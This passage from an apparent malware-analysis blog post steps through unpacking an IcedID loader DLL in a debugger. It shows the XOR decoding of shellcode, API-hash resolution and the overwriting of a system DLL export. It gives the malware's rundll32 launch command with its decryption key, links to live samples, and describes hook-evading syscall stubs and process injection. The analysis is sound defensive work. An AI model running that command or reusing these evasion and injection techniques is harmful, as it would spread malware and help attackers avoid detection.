If you want a more guided tour of the execution and other interesting observations, skip this section.</p>

<ol>
  <li>
    <p><code class="language-plaintext highlighter-rouge">rundll32.exe</code> executes a export on the dll.</p>
  </li>
  <li>
    <p>The DLL routine allocates some memory and copies and unpacks data into shellcode from the <code class="language-plaintext highlighter-rouge">.reloc</code> section of the DLL.</p>
  </li>
  <li>
    <p>The unpacking consists of a 4 byte XOR as well as the supplied string on the command line, for various stages.</p>
  </li>
  <li>
    <p>The unpacked shellcode is patched with function addresses and creates some <code class="language-plaintext highlighter-rouge">syscall</code> stubs to avoid <code class="language-plaintext highlighter-rouge">ntdll.dll</code> hooks.</p>
  </li>
  <li>
    <p>The <code class="language-plaintext highlighter-rouge">rundll32.exe</code> process opens <code class="language-plaintext highlighter-rouge">svchost.exe</code> and injects a payload using shared mapped views of sections and <code class="language-plaintext highlighter-rouge">NtQueueUserThread</code></p>
  </li>
  <li>
    <p>The <code class="language-plaintext highlighter-rouge">svchost.exe</code> process further unpacks a PE file which is then injected into memory at a fixed location.</p>
  </li>
  <li>
    <p>The injected payload is then executed.</p>
  </li>
  <li>
    <p>The final payload can be downloaded from the <a href="https://bazaar.abuse.ch/sample/a3fa68045d0106d6db3d43df6b5997d9034f9f7d2a34148187498e4b504ebf58/">Bazaar</a> or <a href="https://bazaar.abuse.ch/sample/a3fa68045d0106d6db3d43df6b5997d9034f9f7d2a34148187498e4b504ebf58/">GitHub</a></p>
  </li>
</ol>

<hr />

<p>In the previous post, a PowerShell script was used to download a DLL named <code class="language-plaintext highlighter-rouge">r.dll</code> from a compromised WordPress instance.</p>

<p>Part of the script appended varying amounts of bytes to the file, ensuring the cryptographic hash changes with each download.
You can find a copy of the DLL file on the Malware Bazaar, <a href="https://bazaar.abuse.ch/sample/e1d2c95eda751901a4bdae7ba381b85f5d7965b05afe245b5cbaccce9ecfb0bc/">here</a>
The SHA1 hash for the copy we will be looking at in this post is: <code class="language-plaintext highlighter-rouge">1c6e76af95f2a17b8e518965d62b3c9d7ecba6d5</code></p>

<p>For this explanation of the malware delivery, both static and dynamic analysis will be used in conjunction.</p>

<p>For static analysis I am using <b>radare2</b><sup id="fnref:2" role="doc-noteref"><a href="#fn:2" class="footnote" rel="footnote">2</a></sup> and for dynamic analysis <b>x64dbg</b><sup id="fnref:3" role="doc-noteref"><a href="#fn:3" class="footnote" rel="footnote">3</a></sup> both are freely available.</p>

<h3 id="binary-file-triage">Binary File Triage</h3>

<p>From the Powershell script we know there must be an export named <code class="language-plaintext highlighter-rouge">vcab</code>, we can use a <b>radare2</b> one-liner to show the various exports.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>r2 <span class="nt">-c</span> <span class="s1">'iE'</span> r.dll
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[Exports]
nth paddr      vaddr        bind   type size lib             name                               demangled
―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――
1   0x00000420 0x814e361020 GLOBAL FUNC 0    msys-edit-0.dll t_gcc_deregister_frame
2   0x00000400 0x814e361000 GLOBAL FUNC 0    msys-edit-0.dll t_gcc_register_frame
3   0x000151e0 0x814e375de0 GLOBAL FUNC 0    msys-edit-0.dll tel_fn_complete
4   0x000192c0 0x814e379ec0 GLOBAL FUNC 0    msys-edit-0.dll trl_abort_internal
5   0x00026338 0x814e38a138 GLOBAL FUNC 0    msys-edit-0.dll trl_print_completions_horizontally
6   0x000192f0 0x814e379ef0 GLOBAL FUNC 0    msys-edit-0.dll trl_qsort_string_compare
7   0x00016bf0 0x814e3777f0 GLOBAL FUNC 0    msys-edit-0.dll tdd_history
8   0x000169a0 0x814e3775a0 GLOBAL FUNC 0    msys-edit-0.dll tppend_history
9   0x00000880 0x814e361480 GLOBAL FUNC 0    msys-edit-0.dll t__next_word
10  0x00000800 0x814e361400 GLOBAL FUNC 0    msys-edit-0.dll t__prev_word

[ TRUNCATED ]

152 0x000177a0 0x814e3783a0 GLOBAL FUNC 0    msys-edit-0.dll tistory_expand

[ TRUNCATED ]

430 0x00016fb0 0x814e377bb0 GLOBAL FUNC 0    msys-edit-0.dll there_history
431 0x000177a0 0x814e3783a0 GLOBAL FUNC 0    msys-edit-0.dll vcab

</code></pre></div></div>

<p>The above output is truncated, however you can see there are <code class="language-plaintext highlighter-rouge">431</code> exports on this DLL. The final export listed is the <code class="language-plaintext highlighter-rouge">vcab</code> export we already know about. You can find a full output of the command in the GitHub repository for this blog posts, <a href="about:blank">here</a>.</p>

<p>As well as the export names, the virtual addresses are also quite interesting. Looking at the export <code class="language-plaintext highlighter-rouge">tistory_expand</code>, ordinal <code class="language-plaintext highlighter-rouge">152</code>, we can see it has the same virtual address as the <code class="language-plaintext highlighter-rouge">vcab</code> export.</p>

<p>Given the large amount of exports I believe this is likely a legitimate DLL file that has been modified with some additional functionality.
Searching for the DLL name <code class="language-plaintext highlighter-rouge">msys-edit-0.dll</code> also shows this is possibly related to the <a href="https://packages.msys2.org/package/libedit?repo=msys&amp;variant=x86_64">msys2</a> project.</p>

<p><br />
Since we’ve looked at <b>Exports</b>, lets look at <b>Imports</b>, using the following command.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>r2 <span class="nt">-c</span> <span class="s1">'ii'</span> r.dll
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[Imports]
nth vaddr        bind type lib          name
――――――――――――――――――――――――――――――――――――――――――――
1   0x814e391860 NONE FUNC KERNEL32.dll GetModuleHandleA
</code></pre></div></div>

<p>One import is not a lot to go off for understanding the functionality.
The lack of imports is also quite suspicious, and something that indicates this DLL should be investigated further.</p>

<p>Statically analysing the DLL functions proved a little harder than expected.
Forcing <b>Ghidra</b> to decompile the bytes was possible, but readability was not amazing.</p>

<p>To explore this sample further, I will be combining both static and dynamic analysis techniques.</p>

<h3 id="debugger-setup">Debugger Setup</h3>

<p>For the dynamic analysis parts of this you will require some working knowledge of <b>x64dbg</b>. Primarily around setting breakpoints, although the commands are provided, just knowing what a breakpoint is and how to set it should be enough.
If something isn’t clear feel free to reach out and ask!</p>

<p>As well as the <code class="language-plaintext highlighter-rouge">vcab</code> entry point being supplied on the command line, a flag <code class="language-plaintext highlighter-rouge">/k</code> and string parameter were also provided as shown below.</p>

<p><br /></p>

<blockquote>
  <p>rundll32 r.dll, vcab /k chokopai723</p>
</blockquote>

<p><br /></p>

<p>To look into the execution of the DLL I’ll be using <b>x64dbg</b>.
It is possible to use the <b>x64dbg</b> DLL host binary, however for this analysis, debugging will be done with <code class="language-plaintext highlighter-rouge">rundll32.exe</code> executable in order to mimic the execution environment precisely.</p>

<p>Once you have opened the binary <code class="language-plaintext highlighter-rouge">C:\Windows\System32\rundll32.exe</code> with <b>x64dbg</b> change the command line to include the additional parameters as shown in <em>Figure 1</em>.</p>

<p><br /></p>
<div align="center">
  <img src="/assets/img/mta/icedid_malware_loader_analysis/Screenshot_x64dbg_change_command_line.png" />
<br />
<i>Figure 1: x64dbg - Additional command line parameters.</i>
</div>

<p><br /></p>

<p>I find it helpful when analysing a new sample to setup breakpoints on DLL loads, which helpfully is a built in feature.</p>

<p>Navigating to <strong>Options</strong> and then <strong>Preferences</strong> you can enable the settings <code class="language-plaintext highlighter-rouge">User DLL Load</code> and <code class="language-plaintext highlighter-rouge">System DLL Load</code>.</p>

<p>Execute until the <code class="language-plaintext highlighter-rouge">r.dll</code> is loaded and then issuing the following command in will set a breakpoint on the <code class="language-plaintext highlighter-rouge">vcab</code> entry point.</p>

<pre><code class="language-command">bp r.vcab 
</code></pre>
<p><br /></p>

<p>We should also set some breakpoints for interesting API calls before starting, using the following commands.
These API’s specifically have been selected because <code class="language-plaintext highlighter-rouge">VirtualAlloc</code> is common in packed samples to aid in unpacking, and since the number of Imports was limited to a single <code class="language-plaintext highlighter-rouge">Kernel32.dll</code> library, there is a chance the sample will attempt to load more  modules manually.</p>

<pre><code class="language-command">bp VirtualAlloc
bp LoadLibraryA
</code></pre>

<h3 id="command-line-validity-check">Command Line Validity Check</h3>

<p>The first routine to highlight during this walk through is a check that the <code class="language-plaintext highlighter-rouge">/k</code> was supplied on the command line. Setting a breakpoint at <code class="language-plaintext highlighter-rouge">0x814e378887</code> and viewing the sample statically we can see the ASCII characters <code class="language-plaintext highlighter-rouge">0x6B</code> and <code class="language-plaintext highlighter-rouge">0x2F</code> being moved into a memory region, as shown in <em>Figure 2</em>.</p>

<p><br /></p>
<div align="center">
  <img src="/assets/img/mta/icedid_malware_loader_analysis/Screenshot_rundll32_cmdl_k_check.png" />
<br />
<i>Figure 2: radare2 - r.dll command line check routine.</i>
</div>
<p><br /></p>

<p>An instruction at <code class="language-plaintext highlighter-rouge">0x0814E378AAB</code> then copies these two bytes into the <code class="language-plaintext highlighter-rouge">RDX</code> register. The command line string is then iterated over scanning for the <a href="`/k`.md"><code class="language-plaintext highlighter-rouge">/k</code></a> flag being present. If its not then the execution flow exits.</p>

<h3 id="memory-copy-routine">Memory Copy Routine</h3>

<p>The next routine of interest is located at virtual address <code class="language-plaintext highlighter-rouge">0x0814E378B26</code>.</p>

<p>This routine is used throughout this portion of the loader to essentially move bytes from one location to another, much like the <code class="language-plaintext highlighter-rouge">memcpy</code><sup id="fnref:4" role="doc-noteref"><a href="#fn:4" class="footnote" rel="footnote">4</a></sup> function.
<br /></p>

<p>The function prototype for <code class="language-plaintext highlighter-rouge">memcpy</code> is shown below, and this is also used by the routine within the sample.</p>

<p>In x86_64 assembly the registers <code class="language-plaintext highlighter-rouge">RCX</code>, <code class="language-plaintext highlighter-rouge">RDX</code> and <code class="language-plaintext highlighter-rouge">R8</code> are used to store the destination , source and count (size) parameters.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>void *memcpy(
   void *dest,
   const void *src,
   size_t count
);
</code></pre></div></div>

<p>Although the function is located at <code class="language-plaintext highlighter-rouge">0x0814E378B26</code>, the primary loop that moves data between source and destination can be seen at <code class="language-plaintext highlighter-rouge">0x814E378B71</code>. 
The disassembly for this routine is shown in <em>Figure 3</em> below.
The register <code class="language-plaintext highlighter-rouge">RDX</code> is used as an index to then increment as it loops through the bytes being copied.</p>

<p><br /></p>
<div align="center">
  <img src="/assets/img/mta/icedid_malware_loader_analysis/Screenshot_r.dll_memcpy.png" />
<br />
<i>Figure 3: radare2 - IcedId memcpy shellcode routine.</i>
</div>
<p><br /></p>

<p>Setting a breakpoint at <code class="language-plaintext highlighter-rouge">0x0814E378B26</code> will allow us to inspect the various bytes being moved around.</p>

<pre><code class="language-command">bp 0x0814E378B26
</code></pre>

<p><br /></p>

<p>If we allow execution until the memory copy routine breakpoint, we first see a call to copy the string <code class="language-plaintext highlighter-rouge">chokopai723</code> from one area on the stack to another stack based memory location.</p>

<p><em>Figure 4</em> shows the source address <code class="language-plaintext highlighter-rouge">0x0F340F0F44A</code>, destination <code class="language-plaintext highlighter-rouge">0x0F340F0F5B0</code> and the number of bytes <code class="language-plaintext highlighter-rouge">0xB</code></p>

<div align="center">
  <img src="/assets/img/mta/icedid_malware_loader_analysis/Screenshot_x64dbg_registers_memcpy.png" />
<br />
<i>Figure 4: x64dbg - Memory copy routine register usage</i>
</div>

<p><br />
<br /></p>

<p>Allowing the execution to proceed, the debugger will <em>break</em> at a call to <code class="language-plaintext highlighter-rouge">VirtualAlloc</code><sup id="fnref:5" role="doc-noteref"><a href="#fn:5" class="footnote" rel="footnote">5</a></sup>. If we examine the supplied parameters we can mock-up a call to <code class="language-plaintext highlighter-rouge">VirtualAlloc</code> with the following values.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">VirtualAlloc</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="mh">0xE27</span><span class="p">,</span> <span class="mh">0x3000</span><span class="p">,</span> <span class="mh">0x4</span><span class="p">);</span>
</code></pre></div></div>

<p>Converting some of the inputs to their constants<sup id="fnref:5:1" role="doc-noteref"><a href="#fn:5" class="footnote" rel="footnote">5</a></sup> <sup id="fnref:6" role="doc-noteref"><a href="#fn:6" class="footnote" rel="footnote">6</a></sup> makes it a little easier to understand what is happening.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">VirtualAlloc</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="mh">0xE27</span><span class="p">,</span> <span class="n">MEM_COMMIT</span><span class="o">|</span><span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_READWRITE</span><span class="p">);</span> 
</code></pre></div></div>

<p>Here we can see at least <code class="language-plaintext highlighter-rouge">0xE27</code> (3623) bytes of memory is being requested, to be committed and reserved, with the page protection of Read and Write.</p>

<p>The value returned in the <code class="language-plaintext highlighter-rouge">EAX</code> register is going to be one to keep an eye on. This value is the address of an allocated region of memory. 
As this value changes from execution to execution I will refer to this as “memory region 1” throughout this post.</p>

<p><br />
This allocated region of memory is then populated using the malware’s implementation of <code class="language-plaintext highlighter-rouge">memcpy</code> already covered (<code class="language-plaintext highlighter-rouge">0x0814E378B26</code>).
The routine is called a total of 3 times, the total number of bytes copied matches the requested region size of <code class="language-plaintext highlighter-rouge">0xE27</code> (3623) bytes.</p>

<p>Each time, the source of the data is located in the <code class="language-plaintext highlighter-rouge">.reloc</code> section of the DLL.</p>

<p><br />
The table below describes the source virtual address, the file physical offset, and number of bytes copied.
<br /></p>

<table>
  <thead>
    <tr>
      <th style="text-align: center">Source Virtual Address</th>
      <th style="text-align: center">File Offset</th>
      <th style="text-align: center">Byte Count</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: center">0x0814E3949E5</td>
      <td style="text-align: center">0x2B9E5</td>
      <td style="text-align: center">0x4A  (74)</td>
    </tr>
    <tr>
      <td style="text-align: center">0x0814E394A2F</td>
      <td style="text-align: center">0x2BA2F</td>
      <td style="text-align: center">0x18F (399)</td>
    </tr>
    <tr>
      <td style="text-align: center">0x0814E394BBE</td>
      <td style="text-align: center">0x2BBBE</td>
      <td style="text-align: center">0xC4E (3150)</td>
    </tr>
  </tbody>
</table>

<div align="center">
<i>Table 1: Virtual Address and file offset mappings</i>
</div>

<p><br />
The file offset can be calculated using the source address seen in the debugger, minus the virtual address of the section (<code class="language-plaintext highlighter-rouge">.reloc</code>). Then identifying the physical address of the section within the PE file using the headers, and adding the difference back.</p>

<p><br /></p>

<p>Using <b>x64dbg</b>’s memory map tab you can save this memory region to a file, you can find a copy of the file <code class="language-plaintext highlighter-rouge">rundll32_memory_region_1.bin</code> in the Github repository <a href="https://github.com/0xtechevo/icedid_malware_loader_analysis">here</a>.</p>

<p>Either using the offsets identified or by dumping the memory region, we can examine the data copied in more detail. Data mysteriously copied into un-backed memory region has potential to be shellcode.</p>

<p>We can test this theory by attempting to disassemble the bytes in using this <b>radare2</b> one-liner.</p>

<p><em>Figure 5</em> shows the interpretation of the bytes as assembly. 
It appears to be junk as there is no obvious flow of execution present.</p>

<p><br /></p>

<pre><code class="language-command">$ r2 -AA -c 'pd' rundll32_memory_region_1.bin
</code></pre>
<div align="center">
  <img src="/assets/img/mta/icedid_malware_loader_analysis/Screenshot_radare2_memory_region1.png" />
<br />
<i>Figure 5: radare2 - Disassembly view of allocated memory region #1</i>
</div>
<p><br /></p>

<p>It’s a good idea at this point to set an <strong>Access</strong> breakpoint on the memory region to see if there are any routines that may transform it in some way.</p>

<p>Executing the process again will break when the process attempts to <strong>access</strong> an address within the allocated region of memory.</p>

<p>The cause of this is an <code class="language-plaintext highlighter-rouge">XOR</code> operation at <code class="language-plaintext highlighter-rouge">0x0814E3784E8</code> as shown in <em>Figure 6</em>.</p>

<p><br /></p>
<div align="center">
  <img src="/assets/img/mta/icedid_malware_loader_analysis/Screenshot_x64dbg_xor_memory_region_1.png" />
<br />
<i>Figure 6: x64dbg - XOR operation  memory region #1</i>
</div>
<p><br /></p>

<p>The screenshot in <em>Figure 6</em> above and in <em>Figure 7</em> below show this <code class="language-plaintext highlighter-rouge">XOR</code> taking place both from a dynamic and static perspective.</p>

<p><br /></p>
<div align="center">
  <img src="/assets/img/mta/icedid_malware_loader_analysis/Screenshot_r.dll_xor_routine.png" />
<br />
<i>Figure 7: radare2 - XOR operation  memory region #1</i>
</div>
<p><br /></p>

<p>The <code class="language-plaintext highlighter-rouge">AL</code> register in this case is the lower 8 bytes of the <code class="language-plaintext highlighter-rouge">EAX</code> register.</p>

<p>The register pane on the right in <em>Figure 7</em> shows this to contain the value <code class="language-plaintext highlighter-rouge">0xD6</code>.</p>

<p>The address the operation is being carried out on in this case is shows as <code class="language-plaintext highlighter-rouge">ds:[rcx-1]</code> which if we take a look at the value in the <code class="language-plaintext highlighter-rouge">RCX</code> register should contain the address of the second byte within memory region 1, the <code class="language-plaintext highlighter-rouge">-1</code> them refers to the first byte of our mystery data.</p>

<p><br />
If we step through the next few operations hitting the <code class="language-plaintext highlighter-rouge">XOR</code> instruction we eventually see the same 4 bytes rotating through the <code class="language-plaintext highlighter-rouge">AL</code> register: <code class="language-plaintext highlighter-rouge">0xD6B20700</code></p>

<p><br />
This raises an interesting question, where are these bytes coming from and can locate them within the DLL file?</p>

<p>We know from observing the routine, that the bytes used for the <code class="language-plaintext highlighter-rouge">XOR</code> key is being set in the <code class="language-plaintext highlighter-rouge">EAX</code> (<code class="language-plaintext highlighter-rouge">AL</code>) register.</p>

<p>Within the screen shot shown in <em>Figure 7</em> you may notice the operation at <code class="language-plaintext highlighter-rouge">0x0814E3784F3</code>, also shown below.</p>

<pre><code class="language-asm">movzx eax,byte ptr ds:[rax+rdi+2C] 
</code></pre>

<p>This is the operation setting the value of the <code class="language-plaintext highlighter-rouge">EAX</code>/<code class="language-plaintext highlighter-rouge">AL</code> register prior to the <code class="language-plaintext highlighter-rouge">XOR</code> operation. If we follow the address calculated at <code class="language-plaintext highlighter-rouge">RAX</code> + <code class="language-plaintext highlighter-rouge">RDI</code> + <code class="language-plaintext highlighter-rouge">2C</code> in a dump we can see the 4 bytes at the address <code class="language-plaintext highlighter-rouge">0x0814E378BD4</code> or file offset <code class="language-plaintext highlighter-rouge">0x17FD4</code>, as shown in <em>Figure 8</em>.</p>

<p><br /></p>
<div align="center">
  <img src="/assets/img/mta/icedid_malware_loader_analysis/Screenshot_hxd_init_config_xor_key_sizes.png" />
<br />
<i>Figure 8: hxd - hexadecimal dump of potential configuration block</i>
</div>

<p><br /></p>

<p>Shown in the <b><span style="color:green">GREEN</span></b> box, is the XOR key. Also within short proximity, shown in <b><span style="color:blue">BLUE</span></b> there are the sizes (in little endian<sup id="fnref:7" role="doc-noteref"><a href="#fn:7" class="footnote" rel="footnote">7</a></sup>) of the data transferred into the first allocated memory region.</p>

<p>Lastly within the <b><span style="color:red">RED</span></b> box, there is a <code class="language-plaintext highlighter-rouge">NULL</code> terminated string of <code class="language-plaintext highlighter-rouge">init</code>. This could be a useful marker for what might turn out to be some kind of stored configuration.</p>

<p><br /></p>

<p>If we allow the <code class="language-plaintext highlighter-rouge">XOR</code> routine to complete its rounds across the data, and repeat the steps from earlier to dump, and then attempt to show the disassembly it now prints some pretty convincing shellcode.</p>

<p>The file <code class="language-plaintext highlighter-rouge">rundll32_memory_region_1_xor.bin</code> can also be found in the GitHub repository <a href="https://github.com/0xtechevo/icedid_malware_loader_analysis">here</a></p>

<p><br /></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>r2 <span class="nt">-AA</span> <span class="nt">-c</span> <span class="s1">'pd'</span> rundll32_memory_region_1_xor.bin
</code></pre></div></div>
<div align="center">
  <img src="/assets/img/mta/icedid_malware_loader_analysis/Screenshot_radare2_memory_region1_xor.png" />
<br />
<i>Figure 9: radare2 - Shell code disassembly</i>
</div>

<p><br /></p>

<p>We can validate that the <code class="language-plaintext highlighter-rouge">XOR</code> key is correct by applying it to the memory dump file we created previously and comparing the output. <em>Figure 10</em> shows the recipe required. You will notice the hexadecimal output matches the instruction bytes in the disassembly above, in <em>Figure 9</em>.</p>

<p><br /></p>
<div align="center">
  <img src="/assets/img/mta/icedid_malware_loader_analysis/Screenshot_cyberchef_xor_memory_region_1.png" />
<br />
<i>Figure 10: CyberChef - XOR routine.</i>
</div>

<p><br /></p>

<p>If we remember the call to <code class="language-plaintext highlighter-rouge">VirtualAlloc</code> previously, the region was requested with <code class="language-plaintext highlighter-rouge">PAGE_READWRITE</code> protection, restricting the ability for execution. There are two possibilities for the shellcode now, the first is it will be executed in its current location or it will be copied somewhere else before executing.</p>

<p>Wherever the shellcode will be executed, the memory region will need its execute permission set. 
Just as <code class="language-plaintext highlighter-rouge">VirtualAlloc</code> was used to allocate the region, we can set a break point on <code class="language-plaintext highlighter-rouge">VirtualProtect</code> as shown below.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bp VirtualProtect
</code></pre></div></div>

<p><br /></p>
<h3 id="sacrificial-dll-loading">Sacrificial DLL Loading</h3>

<p>Pressing on with the unpacking, there is a call to <code class="language-plaintext highlighter-rouge">LoadLibraryA</code> with the parameter to load the DLL <code class="language-plaintext highlighter-rouge">dpx.dll</code> from the default <code class="language-plaintext highlighter-rouge">C:\Windows\System32</code> directory.</p>

<p>Loading the <code class="language-plaintext highlighter-rouge">dpx.dll</code> library is followed by locating an exported function named <code class="language-plaintext highlighter-rouge">dpx.DpxCheckJobExists</code>.
Based on my loose understanding of how the function is located, I believe this is chosen simply because it is the first function listed in the exports.
This technique would allow the malware authors to potentially swap the <code class="language-plaintext highlighter-rouge">dpx.dll</code> for another fairly easily…</p>

<p>The address returned from for <code class="language-plaintext highlighter-rouge">dpx.DpxCheckJobExists</code> is then passed to <code class="language-plaintext highlighter-rouge">VirtualProtect</code><sup id="fnref:8" role="doc-noteref"><a href="#fn:8" class="footnote" rel="footnote">8</a></sup>, executed via a <code class="language-plaintext highlighter-rouge">call r15</code> instruction at <code class="language-plaintext highlighter-rouge">0x0814E3786BE</code>.</p>

<p>The arguments passed to <code class="language-plaintext highlighter-rouge">VirtualProtect</code> can be arranged as shown.</p>

<p>This function call will mark <code class="language-plaintext highlighter-rouge">0x15BB</code> (5563) bytes as <code class="language-plaintext highlighter-rouge">PAGE_READWRITE</code> starting at the address of <code class="language-plaintext highlighter-rouge">dpx.DpxCheckJobExists</code>.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">VirtualProtect</span><span class="p">(</span><span class="n">dpx</span><span class="p">.</span><span class="n">CheckJobExists</span><span class="p">,</span> <span class="mh">0x15BB</span><span class="p">,</span> <span class="mh">0x4</span><span class="p">)</span>
</code></pre></div></div>

<p>The original protection was <code class="language-plaintext highlighter-rouge">PAGE_EXECUTE_READ</code>, so the additional permission to allow writing is enough to know we likely want to keep an eye on this region.</p>

<p>Moving on, we hit a familiar breakpoint for the malware’s <code class="language-plaintext highlighter-rouge">memcpy</code> routine.
This time, <code class="language-plaintext highlighter-rouge">0x15BB</code> bytes are being moved from the address <code class="language-plaintext highlighter-rouge">0x0814E39342A</code> once again located in the <code class="language-plaintext highlighter-rouge">.reloc</code> section, to the address of <code class="language-plaintext highlighter-rouge">dpx.DpxCheckJobExists</code>.
The file offset for this data is <code class="language-plaintext highlighter-rouge">0x2A42A</code>.</p>

<p>Rather interestingly the bytes representing the amount of data transferred <code class="language-plaintext highlighter-rouge">0x15BB</code> are located in the output of <em>Figure 8</em> underneath the <code class="language-plaintext highlighter-rouge">0x4A</code> byte.</p>

<p><br />
Extracting the <code class="language-plaintext highlighter-rouge">0x15BB</code> bytes from the newly copied location, we can take a look and see what the original code for <code class="language-plaintext highlighter-rouge">dpx.DpxCheckJobExists</code> has been replaced with.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>r2 <span class="nt">-AA</span> <span class="nt">-c</span> <span class="s1">'pd'</span> rundll32_dpx_checkjobexists.bin
</code></pre></div></div>
<div align="center">
  <img src="/assets/img/mta/icedid_malware_loader_analysis/Screenshot_dpx_checkjobexists_1.png" />
<br />
<i>Figure 11: radare2 - Dpx.CheckJobExists overwritten data</i>
</div>

<p><br /></p>

<p>It doesn’t look shellcode, so likelihood is there will be an additional routine to de-obfuscate it.</p>

<p>Through setting some access breakpoints you will stumble elegantly upon yet another routine with an <code class="language-plaintext highlighter-rouge">XOR</code> instruction located at <code class="language-plaintext highlighter-rouge">0x0814E3786E1</code>.
This routine iterates over the <code class="language-plaintext highlighter-rouge">dpx.DpxCheckJobExists</code> location using the string <code class="language-plaintext highlighter-rouge">chokopai723</code> as a key for all <code class="language-plaintext highlighter-rouge">0x15BB</code> bytes.</p>

<p>The string <code class="language-plaintext highlighter-rouge">chokopai732</code> was passed into the process via the command line flag <code class="language-plaintext highlighter-rouge">/k</code>.</p>

<p>If we take a look at the <code class="language-plaintext highlighter-rouge">dpx.DpxCheckJobExists</code> contents shown in <em>Figure 12</em>, once the <code class="language-plaintext highlighter-rouge">XOR</code> has been applied we get something more resembling shellcode.</p>

<p><br /></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>r2 <span class="nt">-AA</span> <span class="nt">-c</span> <span class="s1">'pd'</span> rundll32_dpx_checkjobexists_xor.bin
</code></pre></div></div>
<div align="center">
  <img src="/assets/img/mta/icedid_malware_loader_analysis/Screenshot_dpx_checkjobexists_2.png" />
<br />
<i>Figure 12: radare2 - Dpx.DpxCheckJobExists shellcode</i>
</div>
<p><br /></p>

<p>The sample then makes another call to <code class="language-plaintext highlighter-rouge">VirtualProtect</code>, restoring the page protection on <code class="language-plaintext highlighter-rouge">dpx.DpxCheckJobExists</code> back to <code class="language-plaintext highlighter-rouge">PAGE_EXECUTE_READ</code>.</p>

<p>Now the code is executable again, the sample executes the newly laid out shellcode by <code class="language-plaintext highlighter-rouge">call rsi</code> operation at <code class="language-plaintext highlighter-rouge">0x0814E378421</code>.
This can be intercepted by setting a breakpoint on the <code class="language-plaintext highlighter-rouge">dpx.DpxCheckJobExists</code> symbol.</p>

<p><br /></p>

<p>Executing the shellcode located at <code class="language-plaintext highlighter-rouge">dpx.DpxCheckJobExists</code>, it uses an internal routine labelled below as <code class="language-plaintext highlighter-rouge">mw_resolve_api_hash_location</code> to locate the procedure addresses for 3 API’s. The use of API hashes to resolve routines is quite common in malware, as it makes it much harder to see what is being used.</p>

<p>The hash values are usually fairly static, although there a few different methods employed, “search engine-ing” the hexadecimal values is the first step.</p>

<p>Special thanks to <a href="https://github.com/hidd3ncod3s/WindowsAPIhash/tree/master">this</a> GitHub project by <b>hidd3ncod3s</b> for supplying the hashes and corresponding API routines.</p>

<p>From the following disassembly we can see 3 values being moved into <code class="language-plaintext highlighter-rouge">ECX</code> before the function <code class="language-plaintext highlighter-rouge">mw_resolve_api_hash_location</code> is used.
The labels in the disassembly, show the methods being passed:</p>

<ul>
  <li>NtCreateThreadEx (<code class="language-plaintext highlighter-rouge">0x9a3c803e</code>)</li>
  <li>RtlAllocateHeap (<code class="language-plaintext highlighter-rouge">0x67cc0818</code>)</li>
  <li>RtlFreeHeap (<code class="language-plaintext highlighter-rouge">0xd45a1e1f</code>)</li>
</ul>

<p><br /></p>
<div align="center">
  <img src="/assets/img/mta/icedid_malware_loader_analysis/Screenshot_api_hash_resolution_1.png" />
<br />
<i>Figure 13: radere2 - API hashes being resolved.</i>
</div>

<p><br /></p>

<p>Once the API’s have been resolved, the routine <code class="language-plaintext highlighter-rouge">RtlAllocateheap</code><sup id="fnref:9" role="doc-noteref"><a href="#fn:9" class="footnote" rel="footnote">9</a></sup> is called using the <code class="language-plaintext highlighter-rouge">call rbx</code> instruction, and <code class="language-plaintext highlighter-rouge">0x335B</code> (13147) bytes are requested.</p>

<p><br /></p>
<div align="center">
  <img src="/assets/img/mta/icedid_malware_loader_analysis/Screenshot_dpx_rtlallocateheap_1.png" />
<br />
<i>Figure 14: x64dbg - RtlAllocate 0x335b Bytes</i>
</div>

<p><br /></p>

<p>Once the region is allocated, the shellcode then accesses its own processes <code class="language-plaintext highlighter-rouge">Process Envonrment Block</code> aka the PEB, to retrieve the full command line given.</p>

<p><br /></p>

<div align="center">
  <img src="/assets/img/mta/icedid_malware_loader_analysis/Screenshot_dpx_heap_command_line.png" />
<br />
<i>Figure 15: x64dbg - Command line copied from Process Environment Block</i>
</div>

<p><br /></p>

<p>Probably not surprisingly, this second shellcode also implements a <code class="language-plaintext highlighter-rouge">memcpy</code> routine, as shown in <em>Figure 16</em>.</p>

<p>It is first used to copy <code class="language-plaintext highlighter-rouge">0x1EAD</code> (7853) bytes from <code class="language-plaintext highlighter-rouge">0x0814E39580C</code> (file offset <code class="language-plaintext highlighter-rouge">0x2C80C</code> within the <code class="language-plaintext highlighter-rouge">.reloc</code> section) to a heap allocated region.
<em>Figure 8</em> above contains the value <code class="language-plaintext highlighter-rouge">0x1EAD</code> within the configuration block at offset <code class="language-plaintext highlighter-rouge">0x17FD0</code>.</p>

<p>For future reference, the screen shot below shows the destination address in the <code class="language-plaintext highlighter-rouge">RCX</code> register as <code class="language-plaintext highlighter-rouge">0x023D5D94A0B0</code>.</p>

<p><br /></p>

<div align="center">
  <img src="/assets/img/mta/icedid_malware_loader_analysis/Screenshot_dpx_memcpy_routine.png" />
<br />
<i>Figure 16: radare2 - DPX.dll shellcode memory routine.</i>
</div>

<p><br /></p>

<p>Extracting the data that was just copied reveals not too much, and you might be able to spot a familiar pattern occurring.</p>

<p><br /></p>
<h3 id="shellcode-patching">Shellcode Patching</h3>

